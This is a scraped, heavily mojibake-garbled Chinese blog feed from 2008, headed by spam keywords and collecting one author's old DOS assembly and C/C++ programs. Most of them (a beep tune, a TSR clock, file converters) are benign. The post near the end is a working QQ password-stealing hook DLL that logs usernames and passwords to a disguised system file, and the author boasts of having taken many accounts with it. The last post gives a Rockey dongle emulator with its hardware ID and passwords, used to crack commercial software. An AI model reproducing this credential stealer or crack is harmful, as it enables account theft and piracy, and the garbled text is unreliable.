国产伊人久久,久久久久久无码国产精品中文字幕,国产成人综合久久精品尤物

【dos】两只老虎的音乐程�?beep

攑ֱ�阿狗 — Thu, 03 Jul 2008 15:40:00 GMT

1         ;98 z.bin
2         ;两只老虎的音乐程�?br> 3 date segment
4         freq dw 2 dup (262,294,330,262)
5         dw 2 dup (330,350,392)
6         dw 2 dup (392,440,392,349,330,262)
7         dw 2 dup(330,294,262),0ffffh
8         time dw 8 dup(500)
9         dw 2 dup (500,500,1000)
10         dw 2 dup(250,250,250,250,500,500)
11         dw 2 dup (500,500,1000)
12 date ends
13
14 code segment
15         assume cs:code,ds:date
16         begin:  push ds
17         mov ax,0
18         push ax
19         mov ax,date
20         mov ds,ax
21         ;**************************
22         lea si,freq
23         lea bp,time
24         n0: mov ah,0bh
25         int 21h
26         cmp al,0ffh
27         je exit
28         mov di,[si]
29         cmp di,0ffffh
30         je n8
31
32         mov bx,ds:[bp]
33         call s_sound
34         add si,2
35         add bp,2
36         jmp n0
37         n8: lea si,freq
38         lea bp,time
39         jmp n0
40         exit:mov ah,4ch
41         int 21h
42         s_sound proc near
43         push  bp
44         push si
45
46         mov al,0b6h
47         out 43h,al
48         mov dx,12h
49         mov ax,533h*896
50         div di
51         out 42h,al
52         mov al,ah
53         out 42h,al
54         in al,61h
55         mov ah,al
56         or al,3
57         out 61h,al
58
59         n1:  mov cx,2801h
60         n2: loop n2
61
62         dec bx
63         jnz n1
64         mov al,ah
65         out 61h,al
66         pop si
67         pop bp
68         ret
69         s_sound endp
70         code ends
71         end begin
72
73
74
75
76
77

攑ֱ�阿狗 2008-07-03 23:40 发表评论

【Dos】TSR 旉��E�序 clock.com

攑ֱ�阿狗 — Thu, 03 Jul 2008 15:39:00 GMT

在DOS下输�?br> clock 回�R 在屏�q�右上角昄��旉��和作者名�Q�同旉��色变�?br> clock uninstall 回�R 卸蝲旉��

  1 ;98   z.bin
  2
  3 code segment
  4         assume cs:code,ds:code
  5         org 100h
  6
  7 begin:
  8         jmp install
  9         d1 db 'z'
10         old dd ?
11         c db 0
12         color db 0
13         pag db ?
14         line_23 db 10 dup(20h,0)
15         line db 'Z',0eh,'B',0eh,'.',0eh,20h,0
16         line_24 db 2 dup(20h,0ah,20h,0ah,':',8eh),20h,0ah,20h,0ah
17 start:
18         inc cs:[c]
19         cmp byte  ptr cs:[c],8
20         je n1
21         jmp dword ptr cs:[old]
22 n1:
23         mov byte ptr cs:[c],0
24         push ax
25         push bx
26         push cx
27         push dx
28         push ds
29         push es
30         push di
31         push si
32
33         cmp byte ptr cs:[color],15
34         jae n3
35         inc cs:[color]
36         mov bh,cs:[color]
37         mov byte ptr cs:[line+1],bh
38         mov byte ptr cs:[line+3],bh
39         jmp n4
40 n3:
41         mov byte ptr cs:[color],0
42 n4:
43         mov ah,0fh
44         int 10h
45         ;     mov ah,3
46         ;     int 10h
47         ;       push dx
48         mov cs:[pag],bh
49         mov ax,0b800h
50         mov es,ax
51         ;       mov ax,4096
52         ;      mov bh,pag
53         ;      mul bh
54
55         ;        mov di,ax
56         ;      add di,140
57         mov ax,cs
58         mov ds,ax
59         ;      lea  si,line_23
60         cld
61         ;      mov cx,20
62         ;     rep movsb
63         mov ah,2
64         int 1ah
65         push cx
66         mov ah,ch
67         mov cl,4
68         shr ch,cl
69         add ch,30h
70         mov byte ptr cs:[line_24],ch
71         mov ch,ah
72         and ch,0fh
73         add ch,30h
74         mov byte ptr cs:[line_24+2],ch
75         pop bx
76         mov ah,bl
77         shr bl,cl
78         add bl,30h
79         mov byte ptr cs:[line_24+6],bl
80         and ah,0fh
81         add ah,30h
82         mov byte ptr cs:[line_24+8],ah
83         mov ah,dh
84         shr dh,cl
85         add dh,30h
86         mov byte ptr cs:[line_24+12],dh
87         and ah,0fh
88         add ah,30h
89         mov byte ptr cs:[line_24+14],ah
90         mov ax,4096
91         mov bh,pag
92         mul bh
93         mov di,ax
94         add di,134
95         lea si,line
96         mov cx,24
97         rep  movsb
98
99         ;     pop dx
100         ;     mov bh,pag
101         ;     mov ah,2
102         ;     int 10h
103         pop si
104         pop di
105         pop es
106         pop ds
107         pop dx
108         pop cx
109         pop bx
110         pop ax
111         iret
112 install:
113         mov ax,351ch
114         int 21h
115         mov word ptr old,bx
116         mov word ptr old+2,es
117         mov si,80h
118         cmp byte ptr cs:[si],0
119         je next
120         cmp byte ptr es:[103h],'z'
121         jne error
122         push ds
123         push dx
124         push di
125         cli
126         lea di,old
127         mov ds,word ptr es:[di+2]
128         mov  dx,word ptr es:[di]
129         mov ax,251ch
130         int 21h
131         sti
132         pop di
133         pop dx
134         pop ds
135         mov ah,49h
136         int 21h
137         jmp eexit
138 error:
139         lea dx, mess
140         mov ah,9
141         int 21h
142 eexit:
143         mov ah,4ch
144         int 21h
145 next:
146         mov ax,251ch
147         lea dx,start
148         int 21h
149         lea dx,install
150         int 27h
151         mess db '      the TSR program no find!$'
152
153         code ends
154         end begin
155

攑ֱ�阿狗 2008-07-03 23:39 发表评论

【Dos】汇�~�硬盘锁

攑ֱ�阿狗 — Thu, 03 Jul 2008 15:32:00 GMT

摘要: Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/--> ��盘�?nbsp;HDD3.EXE �E�序: zbin 1997-0... 阅读全文

攑ֱ�阿狗 2008-07-03 23:32 发表评论

[DOS]当初做的一道细胞问题的代码

攑ֱ�阿狗 — Thu, 03 Jul 2008 15:26:00 GMT

  1 ;�l�胞问题解决�Ҏ�� 1997 zbin
  2 date segment
  3        sum dw 0
  4        s7 dw ?
  5        s6 dw ?
  6        s5 dw ?
  7        s3 dw ?
  8        s4 dw ?
  9        buf1 db  103 dup (20h)
10        buf2 db 100 dup (310 dup(20h))
11        buf3 db 100 dup (20h)
12        s1 dw ?
13        s2 dw ?
14        flag1 db 100
15        flag2 db 10
16        file db 'input.txt',0
17        handle dw ?
18        leth dw ?
19        date ends
20  code segment
21    assume cs:code,ds:date,es:date
22   main proc far
23  ;  *******************
24     push ds
25      mov ax,0
26       push ax
27       mov ax,date
28       mov ds,ax
29       mov es,ax
30 ;*************************
31        mov ah,3dh
32         lea dx,file
33         mov al,0
34         int 21h
35      mov handle,ax
36      mov bx,ax
37      mov ah,42h
38      mov al,2
39      mov cx,0
40      mov dx,0
41     int 21h
42
43      mov leth,ax
44      mov ah,42h
45     mov al,0
46     mov cx,0
47     mov dx,0
48     int 21h
49
50      mov ah,3fh
51      mov cx,leth
52      mov bx,handle
53      lea dx,buf2
54      int 21h
55
56        lea di,buf2
57    a2: cmp byte ptr [di],30h
58        jg a1
59        inc di
60        jmp a2
61    a1:  mov s1,di
62    a3: inc di
63        cmp byte ptr [di],20h
64        jne  a3
65         mov cx,di
66         sub cx,s1
67         call sec
68         mov dx,s4
69        mov s3,dx
70
71         add di,2
72         mov s1,di
73    a8:  inc di
74         cmp byte ptr [di],30h
75         jge a8
76         mov cx,di
77         sub cx,s1
78         call sec
79
80          mov ah,3eh
81          mov bx,handle
82          int 21h
83          ;************
84        mov ax,s3
85        mov bx,s4
86        mul bx
87        mov s5,ax
88        mov si,0
89        mov cx,s3
90    n2: push cx
91        mov cx,s4
92    n1: cmp byte ptr [di],30h
93        jge n0
94        inc di
95        jmp n1
96   n0:  mov bl,byte ptr [di]
97        mov buf2[si],bl
98        inc si
99        inc di
100        loop n1
101        mov buf2[si],0
102        mov buf2[si+1],0
103        add si,2
104        pop cx
105        loop n2
106        mov cx,s4
107        inc cx
108  n3:    mov buf2[si],0
109         inc si
110         loop n3
111         mov cx,s5
112        lea di,buf2
113   n4:  mov s7,di
114        cmp byte ptr [di],30h
115        jb c0
116        jmp c1
117   c0:  inc di
118        jmp n4
119   c1:  cmp byte ptr [di],30h
120        ja n5
121   n8:  mov di,s7
122        inc di
123        loop n4
124        jmp next
125    n5: mov bx,s4
126        add bx,2
127        mov si,0ffffh
128        push si
129    n6:  mov byte ptr [di],30h
130         mov s6,di
131         sub di,bx
132         push di
133         mov di,s6
134         dec di
135         push di
136         mov di,s6
137         add di,bx
138         push di
139         mov di,s6
140         inc di
141         push di
142    n7:
143        pop di
144        cmp di,0ffffh
145        je n9
146        cmp byte ptr [di],30h
147        jg n6
148        jmp n7
149    n9: mov si,1
150        add sum,si
151        jmp n8
152
153   next: mov bx,sum
154        call disp
155        mov ah,4ch
156        int 21h
157     main endp
158
159     sec proc near
160         cmp cx,3
161         je a4
162         cmp cx,2
163         je  a5
164         mov al,byte ptr [di-1]
165         sub al,30h
166         mov ah,0
167         mov bx,ax
168    a6:  mov s4,bx
169         jmp a7
170    a4: mov bx,100
171        jmp a6
172   a5: mov al,byte ptr [di-2]
173       sub al,30h
174       mov dl,10
175       mul dl
176       mov bx,ax
177       mov al,byte ptr [di-1]
178       sub al,30h
179       mov ah,0
180       add bx,ax
181       jmp a6
182  a7:  ret
183      sec endp
184
185     disp proc near
186          mov cx,10000
187          call clu
188          mov cx,1000
189          call clu
190          mov cx,100
191          call clu
192          mov cx,10
193          call clu
194          mov cx,1
195          call clu
196           ret
197          disp endp
198   clu proc near
199       mov ax,bx
200       mov dx,0
201       div cx
202       mov bx,dx
203       mov dl,al
204       add dl,30h
205       cmp dl,30h
206       je f1
207       jmp f2
208   f1: ret
209   f2: mov ah,02h
210       int 21h
211       ret
212       clu endp
213              code ends
214                 end main
215
216
217

攑ֱ�阿狗 2008-07-03 23:26 发表评论

攑ֱ�阿狗 — Thu, 03 Jul 2008 15:24:00 GMT

  1 ;��文本文件�{化成EXE文�g 97 zbin
  2
  3   code segment
  4    org 100h
  5     assume cs:code,ds:code,es:code
  6     b0:  jmp b2
  7         file db 13 dup (?)
  8        handle dw ?
  9        lenth dw ?
10
11
12       b1: push cs
13           pop ds
14            mov cx,0
15            lea si,buf1
16        n1:lodsb
17           cmp al,1ah
18           je exit
19           cmp al,0dh
20           je n3
21        n4:mov dl,al
22          mov ah,2h
23          int 21h
24          jmp n1
25      n3: inc cx
26           cmp cx,15
27           je n5
28           jmp n4
29    n5:  mov ah,0
30        int 16h
31        mov cx,0
32        jmp n4
33   exit:  mov ah,4ch
34          int 21h
35  buf1 db 40 dup(1024 dup(?))
36
37     ;**************************
38     b2: mov si,81h
39     m1: lodsb
40         cmp al,20h
41         je m1
42         dec si
43         mov di,si
44         mov cx,20
45         cld
46         mov al,0dh
47         repnz scasb
48         dec di
49         mov byte ptr cs:[di],0
50         mov dx,si
51         mov di,si
52         mov cx,10
53         mov al,'.'
54         cld
55         repnz scasb
56         dec di
57         sub di,si
58         mov cx,di
59         lea di,file
60         cld
61         rep movsb
62         mov byte ptr[di],'.'
63         mov byte ptr[di+1],'e'
64         mov byte ptr[di+2],'x'
65         mov byte ptr[di+3],'e'
66         mov byte ptr[di+4],0
67  ;***************************
68        mov ah,3dh
69         mov al,0
70         int 21h
71         mov handle,ax
72         mov bx,ax
73         mov ah,42h
74         mov  cx,0
75         mov al,2
76         mov dx,0
77         int 21h
78         mov lenth,ax
79         mov ah,42h
80         mov al,0
81         mov cx,0
82         mov dx,0
83         int 21h
84         mov cx,lenth
85         mov bx,handle
86         lea dx,buf1
87         mov ah,3fh
88         int 21h
89         mov di,lenth
90         mov byte ptr buf1[di],1ah
91         mov ah,3eh
92         int 21h
93
94      lea ax,b1
95      lea bx,b2
96      sub ax,bx
97      mov lenth,ax
98      mov ah,3ch
99      lea dx,file
100      mov cx,0
101      int 21h
102      mov handle,ax
103      mov bx,ax
104      mov cx,lenth
105      lea dx,b1
106      mov ah,40h
107      int 21h
108     mov ah,3eh
109     int 21h
110      mov ah,4ch
111      int 21h
112
113      code ends
114       end b0
115

攑ֱ�阿狗 2008-07-03 23:24 发表评论

【dos】将数据文�g转化成MASM.EXE能编译的帔R��数据

攑ֱ�阿狗 — Thu, 03 Jul 2008 15:23:00 GMT

1 /*
2     ��数据文件�{化成MASM.EXE能编译的数据 98.zbin
3
4 */
5
6
7 #include <stdio.h>
8 #include <bios.h>
9 #include <io.h>
10 #include <dos.h>
11 #include <dir.h>
12 void main()
13 {
14     char name[40];
15     FILE *p;       int m,n;
16     char *v;
17     long size;
18     int i,j;
19     char ch;
20     char *first="  \tcode segment\n  \t      assume  cs:code,ds:code  \n      \torg 100h\n  begin:\n";
21     char *end="  \tcode ends\n \tend begin";
22     int len1,len2;
23     void *buf;
24     char drive[3];char dir[20];char fname[10];char ext[4];
25     char newname[50];
26     char *extt=".asm";
27
28     printf("enter the file name:\n");
29     scanf("%s",  name);
30     if((p=fopen(name,"rb"))==NULL)
31     { printf("cann't open <  %s > file!\n",name);
32     exit(0);}
33     size=filelength(fileno(p));
34     buf=(char *)malloc(size);
35     fread(buf,size,1,p);
36     fclose(p);
37     fnsplit(name,drive,dir,fname,ext);
38     fnmerge(newname,drive,dir,fname,extt);
39     if((p=fopen(newname,"wb"))==NULL)
40     {
41     printf("can't creat < %s > file!\n",newname);
42     exit(0);
43     }
44     fprintf(p,"%s\n",first);
45     fprintf(p," db  ");
46     for(i=0,v=buf;i<size;i++,v++)
47     {
48         n=*v;
49         m=n;
50         n=n&0x0f0;
51         n=n>>4;
52         m=m&0x0f;
53         if(i==0)
54         {
55             fprintf(p,"0%x%xh,",n,m);
56             continue;
57         }
58         if((i%15)==0)
59         {
60         fprintf(p,"0%x%xh",n,m);
61         fputc(0x0d,p);
62         fputc(0x0a,p);
63         if(i==(size-1))
64         continue;
65         fprintf(p," db  ");}
66         else
67         {if(i==(size-1))
68         fprintf(p,"0%x%xh",n,m);
69         else
70         fprintf(p,"0%x%xh,",n,m);
71         }
72     }
73     fprintf(p,"\n%s",end);
74     fcloseall();
75     printf(" \t PLEASE EDIT %s\n",newname);
76
77 }
78

攑ֱ�阿狗 2008-07-03 23:23 发表评论

攑ֱ�阿狗 — Thu, 03 Jul 2008 15:16:00 GMT

��Z��爱好�Q�写了此��程序，曄��也获取了很多QQ
采用�׃�n数据区方�?br>

  1 // hook.cpp : Defines the entry point for the DLL application.
  2 //
  3 #include "stdafx.h"
  4
  5 #pragma data_seg("publicdata")
  6  HHOOK hhk=0;
  7  HWND hokkwnd=0;
  8  HWND hwndqq_zc=0;
  9  int k=0;
10  int pc=0;
11  char keys[200]={0};
12 #pragma data_seg( )
13 #pragma comment(linker, "/SECTION:publicdata,RWS")
14 //dll中创建共享数据段�Q�切讎ͼ��Q�！所有变量必��d��始化�Q�否则创建将��p�|
15
16  /*
17     ��d��H�体控�gid:
18         用户��L��: 138
19         密码�Q?80
20         ��d��Q�按钮）: 1
21         ��C��密码:323
22
23     注册�H�体控�gid�Q?br> 24         用户�Q?nbsp;460
25         密码�Q?nbsp;461
26         下一步（按钮�Q�：12324
27   */
28
29 #include <stdio.h>
30 #include <stdlib.h>
31
32
33
34 BOOL APIENTRY DllMain( HANDLE hModule,
35                        DWORD  ul_reason_for_call,
36                        LPVOID lpReserved
37                      )
38 {
39     return TRUE;
40 }
41
42 const int WND_NONE=0;     //非破解QQ�H�体
43 const int WND_LOGIN=1 ; //qq ��d��H�体
44 const int WND_ZC=2;     //QQ 注册�H�体
45
46 int GetWnd(HWND hwnd){
47     RECT rc;
48     ::GetWindowRect(hwnd,&rc);
49     int w,h;
50     w = rc.right-rc.left;
51     h = rc.bottom- rc.top;
52     if(w== 462  && h==355){
53         return WND_ZC;
54     }
55     if(w== 266  && h==180){
56         return WND_LOGIN;
57     }
58     return WND_NONE;
59 }
60
61 char buf[200]    ;
62
63 void keyfilter(char key){
64     keys[pc]= key;
65     pc++;
66     if(key==8){
67         pc--;
68         keys[pc]=0;
69     }
70 }
71
72 void save(){
73 //    ::MessageBox(0,"Begin dump data",0,MB_OK);
74     /* ��是否在输入帐号密码时按下的 next 按钮 */
75     if(GetWnd(    hwndqq_zc)==WND_ZC){
76         HWND hsub;
77         hsub = ::GetWindow(hwndqq_zc,GW_CHILD);
78         hsub = ::GetDlgItem(hsub,460); //取用户号控�g句柄
79         if(!IsWindowVisible(hsub)){ //在其它propertypage 上按下next 不保存信�?/span>
80             return ;
81         }
82     }
83
84     char buf[100],writebuf[100];;
85
86     memset(buf,0,sizeof(buf));
87     ::GetSystemDirectory(buf,sizeof(buf));
88     strcat(buf,"\\winmtq.sys");
89     //::MessageBox(0,buf,0,MB_OK);
90     FILE *pfile = fopen(buf,"a+");
91
92     memset(buf,0,sizeof(buf));
93     memset(writebuf,0,sizeof(writebuf));
94 ////////////////////////////////////////////////////////
95     if(GetWnd(    hwndqq_zc)==WND_ZC){
96         /*  取注册窗体信�?/span>*/
97         HWND hsub  = ::GetWindow(hwndqq_zc,GW_CHILD);
98         //460
99         ::GetDlgItemText(hsub,460,buf,sizeof(buf));
100         strcpy(writebuf,buf);
101         strcat(writebuf,"|");
102         memset(buf,0,sizeof(buf));
103         ::GetDlgItemText(hsub,461,buf,sizeof(buf));
104         strcat(writebuf,buf);
105         strcat(writebuf,"&");
106     }
107 ///////////////////////////////////////////////////////
108 /*取登录窗体信�?/span>*/
109     if(GetWnd(hwndqq_zc) == WND_LOGIN){
110 //        ::MessageBox(0,"lgin crack",0,MB_OK);
111         //取用户号
112         int cursel ;
113
114         HWND hsub;
115         hsub = ::GetDlgItem(hwndqq_zc,138);
116         memset(buf,0,sizeof(buf));
117         cursel= ::SendMessage((HWND)hsub,CB_GETCURSEL,0,0);
118         ::SendMessage((HWND)hsub,CB_GETLBTEXT,cursel,(LONG)buf);
119         strcpy(writebuf,buf);
120         strcat(writebuf,"|");
121         memset(buf,0,sizeof(buf));
122         ::GetDlgItemText(hwndqq_zc,180,buf,sizeof(buf));
123         strcat(writebuf,buf);
124         strcat(writebuf,"&");
125     }
126 ///////////////////////////////////////////////////////
127
128 //    ::MessageBox(0,writebuf,0,MB_OK);
129
130     fwrite(writebuf,1,strlen(writebuf)+2,pfile);
131     fclose(pfile);
132
133 }
134
135 LRESULT CALLBACK GetMsgProc(
136   int code,       // hook code
137   WPARAM wParam,  // removal option
138   LPARAM lParam   // message
139   ){
140     MSG  *pmsg =(MSG*)lParam;
141     HWND hwnd ;
142     HWND hnext;
143     HWND hlogin;
144     if (code < 0){
145         goto end;
146     }
147
148 /*
149     if(pmsg->message ==WM_CHAR && pmsg->hwnd == hokkwnd){ //
150     //    keyfilter(pmsg->wParam);
151
152     }
153 */
154
155     /*一下检��是否用户选择�?下一�?或�?��d��"按钮*/
156
157     if(pmsg->message == WM_KEYDOWN  && pmsg->wParam ==VK_RETURN ){ // && LOWORD(wParam)==12324
158         int btnid;
159         if(GetWnd(    hwndqq_zc)==WND_ZC){
160             btnid = 461;//12324;
161         }
162         if(GetWnd(hwndqq_zc) == WND_LOGIN){
163             btnid =180; //用于输入密码后打回�R
164         }
165         hnext = ::GetDlgItem(hwndqq_zc,btnid);
166         if(GetWnd(    hwndqq_zc)==WND_ZC){
167             HWND hs = ::GetWindow(hwndqq_zc,GW_CHILD);
168
169             hnext = ::GetDlgItem(hs,btnid);
170         }
171     //    ::MessageBox(0,"key deal",0,MB_OK);
172         if(pmsg->hwnd ==hnext)
173             save();
174     }
175     if(pmsg->message ==WM_LBUTTONUP ){
176         int btnid;
177         if(GetWnd(    hwndqq_zc)==WND_ZC){
178             btnid = 12324;
179         }
180         if(GetWnd(hwndqq_zc) == WND_LOGIN){
181             btnid =1; //��d��H�体的登录按�?/span>
182         }
183         hnext = ::GetDlgItem(hwndqq_zc,btnid);
184         if(pmsg->hwnd == hnext)
185             save();
186     }
187 end :
188     return CallNextHookEx(hhk,code,wParam,lParam);
189
190 }
191
192 extern "C" bool __stdcall __declspec(dllexport) sethook(HWND qqzc/*qq注册�H�体句柄*/){
193
194      hwndqq_zc=qqzc;
195     HINSTANCE hdll = GetModuleHandle("hook.dll");
196     hhk = SetWindowsHookEx(WH_GETMESSAGE,HOOKPROC(GetMsgProc) ,hdll,0);
197     if(!hhk)    return false;
198     return true;
199 }
200
201 extern "C" bool __stdcall __declspec(dllexport) unhook(){
202     ::UnhookWindowsHookEx(hhk);
203     return true;
204 }
205
206

攑ֱ�阿狗 2008-07-03 23:16 发表评论

以前破解的一工程软�g

攑ֱ�阿狗 — Thu, 03 Jul 2008 15:12:00 GMT

一�Ƒַ��E�预��Y�Ӟ��曄��在上��徏�{�行业一度非帔R��?br>研究了其技术，发觉是采用vb16�~�写的，后来�l�过升��C��vb32�?br>要破解其实有两个步骤:
1.分析rockey 软�g狗加密和调用接口
2.vb虚拟解释器的跟踪

vb代码跟踪�q�是比较�ȝ��的事情，因�ؓ软�g的加密算法存储在rockey狗里面，软�g产生��法�q�调用加密狗�q�算�Q�比对其�l�果是否一致就认�ؓ软�g合法性了�Q�所以只要跟�t�出vb里面的运��算法然后伪造出rockey的加密狗接口卛_��?br>vb��法跟踪工作当初由兽兽搞�?个星期在softice下很不容易的完成�?br>接下来的rockey接口��q��我来�q�了
以下是rockey模拟接口�Q?nbsp;
        dllshell.cpp 模拟 rydll16.dll rockey功能函数
        z.dll     是rydll16.dll(未作修改�Q�只是更改名�U?
        rydll16.dll 修改�q�的动态库�Q�与�q�口软�g狗匹�?br>         狗的密码都是公开�Q�参见rockey sdk文档或代码，
        �q�口狗的�w�䆾id: 0x5193e484

  1 // Borland C++ - (C) Copyright 1991, 1992 by Borland International
  2
  3 // Example program used to demonstrate DLL's. This file one of the
  4 // files used to build BITMAP.DLL which is used in the DLLDEMO program.
  5
  6 #define  STRICT
  7 #include <windows.h>
  8
  9 // Turn off warning: Parameter '' is never used
10 #pragma argsused
11
12 // Every DLL has an entry point LibMain and an exit point WEP.
13 int FAR PASCAL LibMain( HINSTANCE hInstance, WORD wDataSegment,
14                                    WORD wHeapSize, LPSTR lpszCmdLine )
15 {
16     // The startup code for the DLL initializes the local heap (if there is one)
17     // with a call to LocalInit which locks the data segment.
18     if ( wHeapSize != 0 )
19         UnlockData( 0 );
20     return 1;   // Indicate that the DLL was initialized successfully.
21 }
22
23 // Turn off warning: Parameter '' is never used
24 #pragma argsused
25
26 int FAR PASCAL WEP ( int bSystemExit )
27 {
28     return 1;
29 }
30
31 #include <stdio.h>
32 #include <string.h>
33 #include <stdlib.h>
34
35
36 WORD (CALLBACK *_Rockey)(WORD function, WORD FAR* handle, DWORD FAR* lp1,  DWORD FAR* lp2, WORD FAR* p1, WORD FAR* p2, WORD FAR* p3, WORD FAR* p4, BYTE FAR* buffer);
37
38
39 extern "C" PASCAL WORD  FAR  _export Rockey(WORD function, WORD* handle,
40 DWORD* lp1,  DWORD* lp2, WORD* p1, WORD* p2, WORD* p3, WORD* p4, BYTE* buffer){
41           char buf[2048];
42     memset(buf,0,2048);
43    //    sprintf(buf,"传入参数:function:%d,handle:%d,p1:%d,p2:%d,p3:%d,p4:%d",
44    //    function,*handle,*p1,*p2,*p3,*p4);
45
46
47 /*    sprintf(buf,"传入参数:function:%d,handle:%d,p1:%p,p2:%p,p3:%p,p4:%p",
48     function,*handle,p1,p2,p3,p4);
49 */
50     sprintf(buf,"传入参数:function:%d,handle:%d,p1:%p,%d,p2:%p,%d,p3:%p,%d,p4:%p,%d",
51     function,*handle,p1,*p1,p2,*p2,p3,*p3,p4,*p4);
52 //    MessageBox(0,buf,"RYDLL16",MB_OK);
53
54
55 /***********************************************************/
56 /*
57         查询安插的��Y件狗
58     */
59      //注意:
60      /*
61         在这里loadlibrary和freelibrary必须成对出现�Q�如果忘记freelibrary则��Y件再�ơ启动加�?br> 62         动态库时将��p�|
63
64                 2003.06.24 10:49 am   runonce   shanghai radio
65
66
67          */
68     if(function==1){  //查狗
69         HINSTANCE hDll;
70         WORD _handle[16], _p1, _p2, _p3, _p4, _retcode;
71         DWORD _lp1, _lp2;
72         hDll = LoadLibrary("z.dll");
73         if (hDll == NULL)
74         {
75             MessageBox(0,"load z.dll failed",0,MB_OK);
76             return 1;
77         }
78
79         (FARPROC)_Rockey = GetProcAddress(hDll, "Rockey");
80         _p1 = 0xc44c;
81         _p2 = 0xc8f8;
82         _p3 = 0x0799;
83         _p4 = 0xc43b;
84         WORD retcode;
85         if(_Rockey==NULL){
86             FreeLibrary(hDll);
87             return 1;
88             }
89
90         char bb[500];
91              memset(bb,0,sizeof(bb));
92              sprintf(bb,"yyyyyy.  %d",*_Rockey);
93        //             MessageBox(0,bb,0,MB_OK);
94
95         BYTE _buffer[200];
96         memset(_buffer,0,sizeof(_buffer));
97         retcode = _Rockey(1, &_handle[0], &_lp1, &_lp2, &_p1, &_p2, &_p3, &_p4, _buffer);
98         FreeLibrary(hDll);
99         if(retcode){
100              //    MessageBox(0,"ret is not zero",0,MB_OK);
101             return 2;
102         }
103         if(_lp1 !=0x5193E484){    //�q�口软�g狗ID,
104                //    MessageBox(0,"find dog error!",0,MB_OK);
105             return 2;
106         }
107         else{
108                //    MessageBox(0,"find dog ok!",0,MB_OK);
109             return 0;
110         }
111
112         }
113
114 /***********************************************************/
115     if(function==5){
116       strcpy(buffer,"ZYYS");
117     }
118     if(function==14){
119       char temp[25];
120       memset(temp,0,25);
121       //��C��传入的参�?/span>
122       int temp1=*p1;
123       int temp2=*p2;
124       int temp3=*p3;
125       int temp4=*p4;
126       *p1=(temp1*temp2)+(temp1*temp2*temp4);
127       *p2=(temp3+temp4+temp1*temp2+temp1*temp2*temp4)*2;
128       *p3=temp1*temp2*temp4;
129       *p4=(temp4+1)*temp2*(temp1*2)+(*p2);
130     }
131
132     return 0;
133 }

攑ֱ�阿狗 2008-07-03 23:12 发表评论